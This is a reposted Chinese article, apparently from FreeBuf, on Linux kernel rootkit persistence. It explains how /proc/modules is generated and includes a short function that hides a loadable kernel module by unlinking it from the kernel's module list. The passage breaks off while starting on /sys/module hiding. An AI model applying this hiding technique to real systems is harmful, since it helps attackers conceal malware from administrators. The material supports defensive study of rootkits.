攻亦是防,防亦是攻——Linux内核视角看权限维持_集群智慧网络安全云
全国客户服务热线:4006-054-001 疑难解答:159-9855-7370(7X24受理投诉、建议、合作、售前咨询),173-0411-9111(售前),155-4267-2990(售前),座机/传真:0411-83767788(售后),微信咨询:543646
企业服务导航

攻亦是防,防亦是攻——Linux内核视角看权限维持

发布日期:2024-05-19 浏览次数: 专利申请、商标注册、软件著作权、资质办理快速响应热线:4006-054-001 微信:15998557370


攻亦是防,防亦是攻——Linux内核视角看权限维持

原文链接: https://www.freebuf.com/articles/system/397481.html 理论上讲,不存在毫无痕迹得Rootkit,因为如果毫无痕迹,攻击者就无法控制这个Rootkit,Rootkit的博弈,拼的就是谁对操作系统的底层了解更加深入。 /proc/modules 隐藏 当模块被装载进内核之后,其导出符号会变成内核公用符号表的一部分,可以直接通过 /proc/kallsyms 进行查看: 同时我们可以通过 /proc/modules查看到我们的 rootkit: 内核模块在内核当中被表示为一个 module结构体,当我们使用 insmod加载一个 LKM 时,实际上会调用到 init_module()系统调用创建一个 module结构体: struct module { enum module_state state;   /* Member of list of modules */ struct list_head list;//... 多个 module结构体之间组成一个双向链表,链表头部定义于 kernel/module/main.c中: LIST_HEAD(modules); 当我们使用 lsmod显示已经装载的内核模块时,实际上会读取 /proc/modules文件,而这实际是通过注册了序列文件接口对 modules 链表进行遍历完成的,同时这套逻辑也被应用于 /proc/kallsyms上: /* Called by the /proc file system to return a list of modules. */static void *m_start(struct seq_file *m, loff_t *pos){ mutex_lock(&module_mutex); return seq_list_start(&modules, *pos);} static void *m_next(struct seq_file *m, void *p, loff_t *pos){ return seq_list_next(p, &modules, pos);} static void m_stop(struct seq_file *m, void *p){ mutex_unlock(&module_mutex);} // m_show 就是获取模块信息,没啥好看的:) static const struct seq_operations modules_op = { .start = m_start, .next = m_next, .stop = m_stop, .show = m_show}; /* * This also sets the "private" pointer to non-NULL if the * kernel pointers should be hidden (so you can just test * "m->private" to see if you should keep the values private). * * We use the same logic as for /proc/kallsyms. */static int modules_open(struct inode *inode, struct file *file){ int err = seq_open(file, &modules_op);  if (!err) { struct seq_file *m = file->private_data;  m->private = kallsyms_show_value(file->f_cred) ? NULL : (void *)8ul; }  return err;} static const struct proc_ops modules_proc_ops = { .proc_flags = PROC_ENTRY_PERMANENT, .proc_open = modules_open, .proc_read = seq_read, .proc_lseek = seq_lseek, .proc_release = seq_release,}; static int __init proc_modules_init(void){ proc_create("modules", 0, NULL, &modules_proc_ops); return 0;}module_init(proc_modules_init); 因此我们不难想到的是我们可以通过将 rootkit 模块的 module 结构体从双向链表上脱链的方式完成模块隐藏,我们可以通过 THIS_MODULE宏获取对当前模块的 module结构体的引用,从而有代码如下: void a3_rootkit_hide_module_procfs(void){ struct list_head *list;    list = &(THIS_MODULE->list);    list->prev->next = list->next;    list->next->prev = list->prev;} 内核隐藏项目源码diamorphine 断链后 /sys/module 隐藏 sysfs 与 procfs 相类似,同样是一个基于 RAM 的虚拟文件系统,它的作用是将内核信息以文件的方式提供给用户程序使用,其中便包括我们的 rootkit 模块信息,sysfs 会动态读取内核中的 kobject 层次结构并在 /sys/module/目录下生成文件 Kobject 是 Linux 中的设备数据结构基类,在内核中为 struct kobject结构体,通常内嵌在其他数据结构中;每个设备都有一个 kobject 结构体,多个 kobject 间通过内核双向链表进行链接;kobject 之间构成层次结构 /// include/linux/kobject.hstruct kobject { const char *name; /// 名字,可以唯一标识该对象 struct list_head entry; /// 链接到所属的kset struct kobject *parent; /// 指向父kobject,通常来说,父kobject会内嵌到其他结构体中 struct kset *kset; /// 所属的kset const struct kobj_type *ktype; /// 用于定义kobject的行为 /// 对应sysfs目录,后续在kobject下添加的文件(比如属性)会放到这个目录, /// 每个文件也是一个kernfs_node,通过rbtree连接到kobject->sd struct kernfs_node *sd; /*sysfsdirectory entry */ struct kref kref; /// 引用计数,用于管理kobject的生命周期#ifdef CONFIG_DEBUG_KOBJECT_RELEASE struct delayed_work release;#endif unsigned int state_initialized:1; /// 是否完成初始化 unsigned int state_in_sysfs:1; /// 是否添加到sysfs中 unsigned int state_add_uevent_sent:1; /// unsigned int state_remove_uevent_sent:1;/// unsigned int uevent_suppress:1; //

攻亦是防,防亦是攻——Linux内核视角看权限维持